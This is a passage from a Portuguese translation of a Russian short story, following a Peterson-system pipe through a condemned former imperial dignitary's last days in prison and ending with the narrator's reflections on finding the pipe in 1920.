com um cachimbo. A ponta de ágata, toda mordida, mais parecia um osso roído por
um cão. O barbante mal sustinha a madeira rachada, já não existia o anel, as
bordas estavam queimadas e dir-se-iam de carvão. Sem dúvida o próprio doutor
Peterson, ao ver esse objeto informe, não reconheceria nele sua magnífica
obra patenteada em diversos países.

Porém o coração humano
tem suas intuições. Ao pôr o cachimbo na boca o preso recordou algo e sorriu.
Passados alguns dias, depois de haver raspado a grossa crosta queimada e
havendo encontrado em seu lado esquerdo a inscrição que testemunhava ser
justamente o cachimbo segundo "o sistema do doutor Peterson", o preso
não se admirou e reconheceu logo seu amigo de outros tempos. Junto com ele
surgiram as recordações. Tranqüilamente e sem raiva, refletia Vissarion
Alexandrovitch nos dias idos, npImpério, na soprano, em seu astuto inimigo
von Stein e em seu feliz rival Tchermanov. Pensou com terna tristeza nos 50 anos de sua
existência, tão magnífica, tão dramática e tão lastimosa. Pensou também no que
o aguardava, na morte; pensou nela sem medo, sem rancor… Refletindo, fumava seu cachimbo
que, repleto de feno miúdo, lhe sabia mui doce. Já não existia o Império, nem o
prestígio que o dignitário Dominantov devera zelar. Em sua carreira só lhe
faltava uma fase: a morte no muro do cárcere. Visse agora a cantora Kulishova
estes despojos, estas faces outrora tão bem tratadas, cobertas de pêlo duro e
encanecido e não se dignaria de fazer-lhe ouvir nem sequer uma nota de sua voz
de soprano ligeiro. Ninguém mais podia ofendê-lo, ninguém mais podia traí-lo. O
preso número 62, o ex-orgulho do Império Russo, ao
fim de sua vida fumava alegremente o cachimbo, como o havia fumado o pintor
Fedika Fart, jovem e livre, no começo da existência, então pintor de portas e
janelas e agora dignitário e orgulho da República Russa.

Fumou-o calada e tranqüilamente até aquele anoitecer
em que todo o céu estava coberto de fogo e ouro, qual se por cima de seu pálido
azul e de suas nuvens brancas alguém houvesse derramado a púrpura imperial e em
que ouviu uma voz clara chamar do corredor:

— Número 62!

Encontrei esse
cachimbo na cela da prisão onde estive no outono do ano de 1920.   Nunca o fumo: é inútil
tentar introduzir mais uma vida num círculo já fechado. Apenas contemplo as
mossas de tantos dentes e penso: Quem tem a culpa de seu sabor amargo? O
empregado da loja "Chie Parisien" que se quedou mirando uma
compradora formosa e se esqueceu de depositar no tronco as complicadas espirais
do doutor Peterson, ou as paixões humanas que fizeram sofrer tantas pessoas’ de
diferentes categorias, que tomavam o cachimbo com esperança e o deixavam com
desesperação?

(Tradução de Libero Rangel de
Andrade). FOnte: Obras-Primas do Conto Russo.

 

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